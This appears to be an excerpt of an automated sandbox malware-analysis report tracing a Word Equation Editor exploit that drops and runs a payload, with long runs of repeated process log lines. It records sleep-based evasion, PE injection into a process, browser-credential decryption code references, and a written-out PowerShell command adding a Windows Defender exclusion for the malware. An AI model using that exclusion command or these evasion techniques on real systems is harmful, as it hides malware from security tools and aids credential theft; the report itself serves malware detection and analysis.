Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Memory allocated: 1C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Memory allocated: 24F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Memory allocated: 1C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Memory allocated: 5B40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Memory allocated: 55A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Memory allocated: 6B40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Memory allocated: 7B40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Memory allocated: 230000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Memory allocated: 2350000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Memory allocated: 6E0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Thread delayed: delay time: 600000	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2359	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4645	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Window / User API: threadDelayed 9492	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3380	Thread sleep time: -420000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe TID: 3544	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3756	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3764	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe TID: 3744	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe TID: 3788	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe TID: 3788	Thread sleep time: -1200000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe TID: 3792	Thread sleep count: 9492 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe TID: 3792	Thread sleep count: 323 > 30	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3872	Thread sleep time: -120000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Thread delayed: delay time: 600000	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe

Code function: 8_2_00237200 LdrInitializeThunk,

8_2_00237200

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, COVID19.cs	Reference to suspicious API methods: MapVirtualKey(VKCode, 0u)
Source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
Source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: hModuleList.Add(LoadLibrary(text21 + "\\mozglue.dll"))

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe"
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe"			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe

Memory written: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process created: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe"	Jump to behavior

Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Queries volume information: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
